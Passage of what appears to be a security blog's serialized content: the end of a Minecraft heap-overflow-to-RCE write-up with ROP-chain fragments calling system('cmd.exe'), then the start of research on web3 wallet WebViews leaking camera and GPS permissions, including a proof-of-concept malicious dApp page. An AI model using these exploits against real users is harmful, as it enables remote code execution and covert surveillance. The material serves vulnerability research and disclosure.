rcx\n",{"type":24,"tag":271,"props":163116,"children":163117},{"class":273,"line":429},[163118],{"type":24,"tag":271,"props":163119,"children":163120},{"style":288},[163121],{"type":29,"value":163122},"rop.gadget(pop_rdx)\n",{"type":24,"tag":271,"props":163124,"children":163125},{"class":273,"line":438},[163126,163130,163134,163138,163142,163146,163150,163154],{"type":24,"tag":271,"props":163127,"children":163128},{"style":288},[163129],{"type":29,"value":162962},{"type":24,"tag":271,"props":163131,"children":163132},{"style":278},[163133],{"type":29,"value":162967},{"type":24,"tag":271,"props":163135,"children":163136},{"style":477},[163137],{"type":29,"value":162972},{"type":24,"tag":271,"props":163139,"children":163140},{"style":624},[163141],{"type":29,"value":4253},{"type":24,"tag":271,"props":163143,"children":163144},{"style":278},[163145],{"type":29,"value":162907},{"type":24,"tag":271,"props":163147,"children":163148},{"style":477},[163149],{"type":29,"value":96043},{"type":24,"tag":271,"props":163151,"children":163152},{"style":288},[163153],{"type":29,"value":8823},{"type":24,"tag":271,"props":163155,"children":163156},{"style":2058},[163157],{"type":29,"value":163158},"# offset of \"system\" string\n",{"type":24,"tag":271,"props":163160,"children":163161},{"class":273,"line":447},[163162],{"type":24,"tag":271,"props":163163,"children":163164},{"style":288},[163165],{"type":29,"value":163166},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":271,"props":163168,"children":163169},{"class":273,"line":455},[163170],{"type":24,"tag":271,"props":163171,"children":163172},{"emptyLinePlaceholder":16},[163173],{"type":29,"value":327},{"type":24,"tag":271,"props":163175,"children":163176},{"class":273,"line":464},[163177],{"type":24,"tag":271,"props":163178,"children":163179},{"style":2058},[163180],{"type":29,"value":163181},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":271,"props":163183,"children":163184},{"class":273,"line":473},[163185],{"type":24,"tag":271,"props":163186,"children":163187},{"style":288},[163188],{"type":29,"value":162954},{"type":24,"tag":271,"props":163190,"children":163191},{"class":273,"line":483},[163192,163196,163200,163205,163209],{"type":24,"tag":271,"props":163193,"children":163194},{"style":288},[163195],{"type":29,"value":162962},{"type":24,"tag":271,"props":163197,"children":163198},{"style":278},[163199],{"type":29,"value":162967},{"type":24,"tag":271,"props":163201,"children":163202},{"style":477},[163203],{"type":29,"value":163204},"7468DB8",{"type":24,"tag":271,"props":163206,"children":163207},{"style":288},[163208],{"type":29,"value":8823},{"type":24,"tag":271,"props":163210,"children":163211},{"style":2058},[163212],{"type":29,"value":163213},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":271,"props":163215,"children":163216},{"class":273,"line":491},[163217,163221],{"type":24,"tag":271,"props":163218,"children":163219},{"style":288},[163220],{"type":29,"value":162989},{"type":24,"tag":271,"props":163222,"children":163223},{"style":2058},[163224],{"type":29,"value":162994},{"type":24,"tag":271,"props":163226,"children":163227},{"class":273,"line":499},[163228,163232],{"type":24,"tag":271,"props":163229,"children":163230},{"style":288},[163231],{"type":29,"value":163002},{"type":24,"tag":271,"props":163233,"children":163234},{"style":2058},[163235],{"type":29,"value":163236},"# calls `system`\n",{"type":24,"tag":271,"props":163238,"children":163239},{"class":273,"line":3188},[163240,163244,163248,163253,163258,163262],{"type":24,"tag":271,"props":163241,"children":163242},{"style":288},[163243],{"type":29,"value":163015},{"type":24,"tag":271,"props":163245,"children":163246},{"style":278},[163247],{"type":29,"value":10954},{"type":24,"tag":271,"props":163249,"children":163250},{"style":378},[163251],{"type":29,"value":163252},"\"cmd.exe",{"type":24,"tag":271,"props":163254,"children":163255},{"style":5694},[163256],{"type":29,"value":163257},"\\x00",{"type":24,"tag":271,"props":163259,"children":163260},{"style":378},[163261],{"type":29,"value":5702},{"type":24,"tag":271,"props":163263,"children":163264},{"style":288},[163265],{"type":29,"value":27401},{"type":24,"tag":85,"props":163267,"children":163269},{"id":163268},"demo",[163270],{"type":29,"value":163271},"Demo",{"type":24,"tag":25,"props":163273,"children":163274},{},[163275],{"type":29,"value":163276},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":138648,"props":163278,"children":163281},{"className":163279,"controls":16},[148615,163280],"blog-video-wide",[163282,163283,163287],{"type":29,"value":148618},{"type":24,"tag":147854,"props":163284,"children":163286},{"src":163285,"type":138646},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":148624},{"type":24,"tag":62,"props":163289,"children":163290},{"id":10547},[163291],{"type":29,"value":10550},{"type":24,"tag":25,"props":163293,"children":163294},{},[163295],{"type":29,"value":163296},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":163298,"children":163299},{},[163300],{"type":29,"value":163301},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":163303,"children":163304},{},[163305],{"type":29,"value":163306},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":10562,"props":163308,"children":163309},{},[163310],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":163312},[163313,163317,163322,163333],{"id":153973,"depth":284,"text":153976,"children":163314},[163315,163316],{"id":154008,"depth":294,"text":154011},{"id":154024,"depth":294,"text":154027},{"id":154045,"depth":284,"text":154048,"children":163318},[163319,163320,163321],{"id":154061,"depth":294,"text":154064},{"id":154149,"depth":294,"text":154152},{"id":156449,"depth":294,"text":156452},{"id":13137,"depth":284,"text":13140,"children":163323},[163324,163325,163326,163327,163328,163329,163330,163331,163332],{"id":156556,"depth":294,"text":156559},{"id":156581,"depth":294,"text":156584},{"id":156718,"depth":294,"text":156721},{"id":158882,"depth":294,"text":158885},{"id":159244,"depth":294,"text":159247},{"id":160064,"depth":294,"text":160067},{"id":162178,"depth":294,"text":162181},{"id":162796,"depth":294,"text":162799},{"id":163268,"depth":294,"text":163271},{"id":10547,"depth":284,"text":10550},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":163338,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":163339,"description":163340,"date":163341,"author":163342,"image":163344,"isFeatured":16,"onBlogPage":16,"tags":163346,"body":163348,"_type":10599,"_id":165671,"_source":10601,"_file":165672,"_stem":165673,"_extension":10604},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[38876,38875,163343],"nikolaos",{"src":163345,"width":104058,"height":21324},"/posts/insecure-webview-integrations/title.png",[39811,138754,163347],"webview",{"type":21,"children":163349,"toc":165658},[163350,163355,163360,163366,163371,163376,163381,163387,163392,163398,163420,163433,163453,163467,163473,163487,163495,163500,163506,163511,163520,163541,163685,163690,163696,163701,163706,163720,163724,163729,163747,165175,165179,165184,165196,165205,165210,165216,165238,165246,165251,165257,165262,165280,165285,165291,165304,165586,165614,165627,165632,165645,165649,165654],{"type":24,"tag":25,"props":163351,"children":163352},{},[163353],{"type":29,"value":163354},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":163356,"children":163357},{},[163358],{"type":29,"value":163359},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":43040,"props":163361,"children":163363},{"id":163362},"exploiting-mobile-webviews",[163364],{"type":29,"value":163365},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":163367,"children":163368},{},[163369],{"type":29,"value":163370},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":163372,"children":163373},{},[163374],{"type":29,"value":163375},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":163377,"children":163378},{},[163379],{"type":29,"value":163380},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":62,"props":163382,"children":163384},{"id":163383},"handling-webview-permissions",[163385],{"type":29,"value":163386},"Handling WebView permissions",{"type":24,"tag":25,"props":163388,"children":163389},{},[163390],{"type":29,"value":163391},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":85,"props":163393,"children":163395},{"id":163394},"android",[163396],{"type":29,"value":163397},"Android",{"type":24,"tag":25,"props":163399,"children":163400},{},[163401,163403,163410,163412,163418],{"type":29,"value":163402},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":32,"props":163404,"children":163407},{"href":163405,"rel":163406},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[36],[163408],{"type":29,"value":163409},"onPermissionRequest",{"type":29,"value":163411},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":135,"props":163413,"children":163415},{"className":163414},[],[163416],{"type":29,"value":163417},"PermissionRequest",{"type":29,"value":163419}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":10670,"props":163421,"children":163422},{},[163423],{"type":24,"tag":25,"props":163424,"children":163425},{},[163426,163428,163431],{"type":29,"value":163427},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":271,"props":163429,"children":163430},{},[],{"type":29,"value":163432},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":163434,"children":163435},{},[163436,163438,163444,163446,163452],{"type":29,"value":163437},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":135,"props":163439,"children":163441},{"className":163440},[],[163442],{"type":29,"value":163443},"getOrigin()",{"type":29,"value":163445}," and the requested permissions with ",{"type":24,"tag":135,"props":163447,"children":163449},{"className":163448},[],[163450],{"type":29,"value":163451},"getResources()",{"type":29,"value":41},{"type":24,"tag":25,"props":163454,"children":163455},{},[163456,163458,163465],{"type":29,"value":163457},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":32,"props":163459,"children":163462},{"href":163460,"rel":163461},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[36],[163463],{"type":29,"value":163464},"webview_shell",{"type":29,"value":163466},". In this instance, no origin checks are performed.",{"type":24,"tag":85,"props":163468,"children":163470},{"id":163469},"ios",[163471],{"type":29,"value":163472},"iOS",{"type":24,"tag":25,"props":163474,"children":163475},{},[163476,163478,163485],{"type":29,"value":163477},"On the contrary, iOS ",{"type":24,"tag":32,"props":163479,"children":163482},{"href":163480,"rel":163481},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[36],[163483],{"type":29,"value":163484},"documentation",{"type":29,"value":163486}," states that:",{"type":24,"tag":10670,"props":163488,"children":163489},{},[163490],{"type":24,"tag":25,"props":163491,"children":163492},{},[163493],{"type":29,"value":163494},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":163496,"children":163497},{},[163498],{"type":29,"value":163499},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":62,"props":163501,"children":163503},{"id":163502},"the-shortcomings-of-webview-implementations",[163504],{"type":29,"value":163505},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":163507,"children":163508},{},[163509],{"type":29,"value":163510},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":39021,"props":163512,"children":163513},{"style":39023},[163514],{"type":24,"tag":74,"props":163515,"children":163519},{"src":163516,"alt":163517,"style":163518},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":163521,"children":163522},{},[163523,163525,163531,163533,163539],{"type":29,"value":163524},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":135,"props":163526,"children":163528},{"className":163527},[],[163529],{"type":29,"value":163530},"react-native-webview",{"type":29,"value":163532},". If we take a look at how they handle a request that reaches the ",{"type":24,"tag":32,"props":163534,"children":163537},{"href":163535,"rel":163536},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[36],[163538],{"type":29,"value":163409},{"type":29,"value":163540}," method, we see a similar pattern.",{"type":24,"tag":261,"props":163542,"children":163546},{"className":163543,"code":163544,"language":163545,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[163547],{"type":24,"tag":135,"props":163548,"children":163549},{"__ignoreMap":7},[163550,163558,163587,163647,163667,163678],{"type":24,"tag":271,"props":163551,"children":163552},{"class":273,"line":274},[163553],{"type":24,"tag":271,"props":163554,"children":163555},{"style":2058},[163556],{"type":29,"value":163557},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":271,"props":163559,"children":163560},{"class":273,"line":284},[163561,163565,163569,163574,163578,163583],{"type":24,"tag":271,"props":163562,"children":163563},{"style":749},[163564],{"type":29,"value":23277},{"type":24,"tag":271,"props":163566,"children":163567},{"style":288},[163568],{"type":29,"value":1357},{"type":24,"tag":271,"props":163570,"children":163571},{"style":630},[163572],{"type":29,"value":163573},"requestedAndroidPermissions",{"type":24,"tag":271,"props":163575,"children":163576},{"style":288},[163577],{"type":29,"value":41},{"type":24,"tag":271,"props":163579,"children":163580},{"style":598},[163581],{"type":29,"value":163582},"isEmpty",{"type":24,"tag":271,"props":163584,"children":163585},{"style":288},[163586],{"type":29,"value":98811},{"type":24,"tag":271,"props":163588,"children":163589},{"class":273,"line":294},[163590,163595,163599,163604,163608,163613,163617,163622,163626,163630,163635,163639,163643],{"type":24,"tag":271,"props":163591,"children":163592},{"style":630},[163593],{"type":29,"value":163594}," request",{"type":24,"tag":271,"props":163596,"children":163597},{"style":288},[163598],{"type":29,"value":41},{"type":24,"tag":271,"props":163600,"children":163601},{"style":598},[163602],{"type":29,"value":163603},"grant",{"type":24,"tag":271,"props":163605,"children":163606},{"style":288},[163607],{"type":29,"value":606},{"type":24,"tag":271,"props":163609,"children":163610},{"style":630},[163611],{"type":29,"value":163612},"grantedPermissions",{"type":24,"tag":271,"props":163614,"children":163615},{"style":288},[163616],{"type":29,"value":41},{"type":24,"tag":271,"props":163618,"children":163619},{"style":598},[163620],{"type":29,"value":163621},"toArray",{"type":24,"tag":271,"props":163623,"children":163624},{"style":288},[163625],{"type":29,"value":606},{"type":24,"tag":271,"props":163627,"children":163628},{"style":749},[163629],{"type":29,"value":22819},{"type":24,"tag":271,"props":163631,"children":163632},{"style":3887},[163633],{"type":29,"value":163634}," String",{"type":24,"tag":271,"props":163636,"children":163637},{"style":288},[163638],{"type":29,"value":4520},{"type":24,"tag":271,"props":163640,"children":163641},{"style":477},[163642],{"type":29,"value":4121},{"type":24,"tag":271,"props":163644,"children":163645},{"style":288},[163646],{"type":29,"value":110302},{"type":24,"tag":271,"props":163648,"children":163649},{"class":273,"line":303},[163650,163655,163659,163663],{"type":24,"tag":271,"props":163651,"children":163652},{"style":288},[163653],{"type":29,"value":163654}," grantedPermissions ",{"type":24,"tag":271,"props":163656,"children":163657},{"style":624},[163658],{"type":29,"value":762},{"type":24,"tag":271,"props":163660,"children":163661},{"style":278},[163662],{"type":29,"value":77057},{"type":24,"tag":271,"props":163664,"children":163665},{"style":288},[163666],{"type":29,"value":1069},{"type":24,"tag":271,"props":163668,"children":163669},{"class":273,"line":312},[163670,163674],{"type":24,"tag":271,"props":163671,"children":163672},{"style":749},[163673],{"type":29,"value":9640},{"type":24,"tag":271,"props":163675,"children":163676},{"style":288},[163677],{"type":29,"value":1069},{"type":24,"tag":271,"props":163679,"children":163680},{"class":273,"line":321},[163681],{"type":24,"tag":271,"props":163682,"children":163683},{"style":288},[163684],{"type":29,"value":1171},{"type":24,"tag":25,"props":163686,"children":163687},{},[163688],{"type":29,"value":163689},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":85,"props":163691,"children":163693},{"id":163692},"real-world-exploitation",[163694],{"type":29,"value":163695},"Real world exploitation",{"type":24,"tag":25,"props":163697,"children":163698},{},[163699],{"type":29,"value":163700},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":163702,"children":163703},{},[163704],{"type":29,"value":163705},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":163707,"children":163708},{},[163709,163711,163718],{"type":29,"value":163710},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":32,"props":163712,"children":163715},{"href":163713,"rel":163714},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[36],[163716],{"type":29,"value":163717},"Justson",{"type":29,"value":163719},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":26585,"props":163721,"children":163722},{"id":47172},[163723],{"type":29,"value":42497},{"type":24,"tag":25,"props":163725,"children":163726},{},[163727],{"type":29,"value":163728},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":3834,"props":163730,"children":163731},{},[163732,163737,163742],{"type":24,"tag":101,"props":163733,"children":163734},{},[163735],{"type":29,"value":163736},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":101,"props":163738,"children":163739},{},[163740],{"type":29,"value":163741},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":101,"props":163743,"children":163744},{},[163745],{"type":29,"value":163746},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":261,"props":163748,"children":163750},{"className":57684,"code":163749,"language":40053,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[163751],{"type":24,"tag":135,"props":163752,"children":163753},{"__ignoreMap":7},[163754,163774,163789,163805,163835,163858,163873,163888,163920,163966,164002,164030,164045,164091,164137,164145,164213,164241,164256,164264,164271,164291,164351,164392,164421,164462,164469,164498,164536,164573,164580,164587,164620,164641,164648,164710,164766,164802,164848,164856,164863,164906,164939,165064,165097,165104,165111,165118,165130,165145,165160],{"type":24,"tag":271,"props":163755,"children":163756},{"class":273,"line":274},[163757,163761,163765,163770],{"type":24,"tag":271,"props":163758,"children":163759},{"style":40046},[163760],{"type":29,"value":41894},{"type":24,"tag":271,"props":163762,"children":163763},{"style":278},[163764],{"type":29,"value":41899},{"type":24,"tag":271,"props":163766,"children":163767},{"style":630},[163768],{"type":29,"value":163769}," html",{"type":24,"tag":271,"props":163771,"children":163772},{"style":40046},[163773],{"type":29,"value":13709},{"type":24,"tag":271,"props":163775,"children":163776},{"class":273,"line":284},[163777,163781,163785],{"type":24,"tag":271,"props":163778,"children":163779},{"style":40046},[163780],{"type":29,"value":801},{"type":24,"tag":271,"props":163782,"children":163783},{"style":278},[163784],{"type":29,"value":40053},{"type":24,"tag":271,"props":163786,"children":163787},{"style":40046},[163788],{"type":29,"value":13709},{"type":24,"tag":271,"props":163790,"children":163791},{"class":273,"line":294},[163792,163796,163801],{"type":24,"tag":271,"props":163793,"children":163794},{"style":40046},[163795],{"type":29,"value":801},{"type":24,"tag":271,"props":163797,"children":163798},{"style":278},[163799],{"type":29,"value":163800},"head",{"type":24,"tag":271,"props":163802,"children":163803},{"style":40046},[163804],{"type":29,"value":13709},{"type":24,"tag":271,"props":163806,"children":163807},{"class":273,"line":303},[163808,163812,163817,163822,163826,163831],{"type":24,"tag":271,"props":163809,"children":163810},{"style":40046},[163811],{"type":29,"value":40116},{"type":24,"tag":271,"props":163813,"children":163814},{"style":278},[163815],{"type":29,"value":163816},"meta",{"type":24,"tag":271,"props":163818,"children":163819},{"style":630},[163820],{"type":29,"value":163821}," charset",{"type":24,"tag":271,"props":163823,"children":163824},{"style":288},[163825],{"type":29,"value":762},{"type":24,"tag":271,"props":163827,"children":163828},{"style":378},[163829],{"type":29,"value":163830},"\"utf-8\"",{"type":24,"tag":271,"props":163832,"children":163833},{"style":40046},[163834],{"type":29,"value":13709},{"type":24,"tag":271,"props":163836,"children":163837},{"class":273,"line":312},[163838,163842,163846,163850,163854],{"type":24,"tag":271,"props":163839,"children":163840},{"style":40046},[163841],{"type":29,"value":40116},{"type":24,"tag":271,"props":163843,"children":163844},{"style":278},[163845],{"type":29,"value":41972},{"type":24,"tag":271,"props":163847,"children":163848},{"style":40046},[163849],{"type":29,"value":57728},{"type":24,"tag":271,"props":163851,"children":163852},{"style":278},[163853],{"type":29,"value":41972},{"type":24,"tag":271,"props":163855,"children":163856},{"style":40046},[163857],{"type":29,"value":13709},{"type":24,"tag":271,"props":163859,"children":163860},{"class":273,"line":321},[163861,163865,163869],{"type":24,"tag":271,"props":163862,"children":163863},{"style":40046},[163864],{"type":29,"value":40100},{"type":24,"tag":271,"props":163866,"children":163867},{"style":278},[163868],{"type":29,"value":163800},{"type":24,"tag":271,"props":163870,"children":163871},{"style":40046},[163872],{"type":29,"value":13709},{"type":24,"tag":271,"props":163874,"children":163875},{"class":273,"line":330},[163876,163880,163884],{"type":24,"tag":271,"props":163877,"children":163878},{"style":40046},[163879],{"type":29,"value":801},{"type":24,"tag":271,"props":163881,"children":163882},{"style":278},[163883],{"type":29,"value":40070},{"type":24,"tag":271,"props":163885,"children":163886},{"style":40046},[163887],{"type":29,"value":13709},{"type":24,"tag":271,"props":163889,"children":163890},{"class":273,"line":339},[163891,163895,163899,163903,163908,163912,163916],{"type":24,"tag":271,"props":163892,"children":163893},{"style":40046},[163894],{"type":29,"value":40116},{"type":24,"tag":271,"props":163896,"children":163897},{"style":278},[163898],{"type":29,"value":62},{"type":24,"tag":271,"props":163900,"children":163901},{"style":40046},[163902],{"type":29,"value":18165},{"type":24,"tag":271,"props":163904,"children":163905},{"style":288},[163906],{"type":29,"value":163907},"Smile dApp :)",{"type":24,"tag":271,"props":163909,"children":163910},{"style":40046},[163911],{"type":29,"value":40100},{"type":24,"tag":271,"props":163913,"children":163914},{"style":278},[163915],{"type":29,"value":62},{"type":24,"tag":271,"props":163917,"children":163918},{"style":40046},[163919],{"type":29,"value":13709},{"type":24,"tag":271,"props":163921,"children":163922},{"class":273,"line":347},[163923,163927,163932,163936,163940,163945,163949,163954,163958,163962],{"type":24,"tag":271,"props":163924,"children":163925},{"style":40046},[163926],{"type":29,"value":40116},{"type":24,"tag":271,"props":163928,"children":163929},{"style":278},[163930],{"type":29,"value":163931},"button",{"type":24,"tag":271,"props":163933,"children":163934},{"style":630},[163935],{"type":29,"value":40126},{"type":24,"tag":271,"props":163937,"children":163938},{"style":288},[163939],{"type":29,"value":762},{"type":24,"tag":271,"props":163941,"children":163942},{"style":378},[163943],{"type":29,"value":163944},"\"connect\"",{"type":24,"tag":271,"props":163946,"children":163947},{"style":40046},[163948],{"type":29,"value":18165},{"type":24,"tag":271,"props":163950,"children":163951},{"style":288},[163952],{"type":29,"value":163953},"Connect your wallet!",{"type":24,"tag":271,"props":163955,"children":163956},{"style":40046},[163957],{"type":29,"value":40100},{"type":24,"tag":271,"props":163959,"children":163960},{"style":278},[163961],{"type":29,"value":163931},{"type":24,"tag":271,"props":163963,"children":163964},{"style":40046},[163965],{"type":29,"value":13709},{"type":24,"tag":271,"props":163967,"children":163968},{"class":273,"line":356},[163969,163973,163977,163981,163985,163990,163994,163998],{"type":24,"tag":271,"props":163970,"children":163971},{"style":40046},[163972],{"type":29,"value":40116},{"type":24,"tag":271,"props":163974,"children":163975},{"style":278},[163976],{"type":29,"value":261},{"type":24,"tag":271,"props":163978,"children":163979},{"style":630},[163980],{"type":29,"value":40126},{"type":24,"tag":271,"props":163982,"children":163983},{"style":288},[163984],{"type":29,"value":762},{"type":24,"tag":271,"props":163986,"children":163987},{"style":378},[163988],{"type":29,"value":163989},"\"gps\"",{"type":24,"tag":271,"props":163991,"children":163992},{"style":40046},[163993],{"type":29,"value":57728},{"type":24,"tag":271,"props":163995,"children":163996},{"style":278},[163997],{"type":29,"value":261},{"type":24,"tag":271,"props":163999,"children":164000},{"style":40046},[164001],{"type":29,"value":13709},{"type":24,"tag":271,"props":164003,"children":164004},{"class":273,"line":365},[164005,164009,164013,164017,164021,164026],{"type":24,"tag":271,"props":164006,"children":164007},{"style":40046},[164008],{"type":29,"value":40116},{"type":24,"tag":271,"props":164010,"children":164011},{"style":278},[164012],{"type":29,"value":74},{"type":24,"tag":271,"props":164014,"children":164015},{"style":630},[164016],{"type":29,"value":40126},{"type":24,"tag":271,"props":164018,"children":164019},{"style":288},[164020],{"type":29,"value":762},{"type":24,"tag":271,"props":164022,"children":164023},{"style":378},[164024],{"type":29,"value":164025},"\"pic\"",{"type":24,"tag":271,"props":164027,"children":164028},{"style":40046},[164029],{"type":29,"value":13709},{"type":24,"tag":271,"props":164031,"children":164032},{"class":273,"line":374},[164033,164037,164041],{"type":24,"tag":271,"props":164034,"children":164035},{"style":40046},[164036],{"type":29,"value":40116},{"type":24,"tag":271,"props":164038,"children":164039},{"style":278},[164040],{"type":29,"value":40086},{"type":24,"tag":271,"props":164042,"children":164043},{"style":40046},[164044],{"type":29,"value":13709},{"type":24,"tag":271,"props":164046,"children":164047},{"class":273,"line":384},[164048,164053,164057,164062,164066,164071,164075,164079,164083,164087],{"type":24,"tag":271,"props":164049,"children":164050},{"style":630},[164051],{"type":29,"value":164052}," window",{"type":24,"tag":271,"props":164054,"children":164055},{"style":624},[164056],{"type":29,"value":41},{"type":24,"tag":271,"props":164058,"children":164059},{"style":598},[164060],{"type":29,"value":164061},"addEventListener",{"type":24,"tag":271,"props":164063,"children":164064},{"style":624},[164065],{"type":29,"value":606},{"type":24,"tag":271,"props":164067,"children":164068},{"style":378},[164069],{"type":29,"value":164070},"'unhandledrejection'",{"type":24,"tag":271,"props":164072,"children":164073},{"style":624},[164074],{"type":29,"value":158},{"type":24,"tag":271,"props":164076,"children":164077},{"style":278},[164078],{"type":29,"value":39052},{"type":24,"tag":271,"props":164080,"children":164081},{"style":624},[164082],{"type":29,"value":1357},{"type":24,"tag":271,"props":164084,"children":164085},{"style":630},[164086],{"type":29,"value":88918},{"type":24,"tag":271,"props":164088,"children":164089},{"style":624},[164090],{"type":29,"value":919},{"type":24,"tag":271,"props":164092,"children":164093},{"class":273,"line":393},[164094,164099,164103,164108,164112,164116,164120,164125,164129,164133],{"type":24,"tag":271,"props":164095,"children":164096},{"style":598},[164097],{"type":29,"value":164098}," alert",{"type":24,"tag":271,"props":164100,"children":164101},{"style":624},[164102],{"type":29,"value":606},{"type":24,"tag":271,"props":164104,"children":164105},{"style":378},[164106],{"type":29,"value":164107},"`Unhandled Promise Rejection: 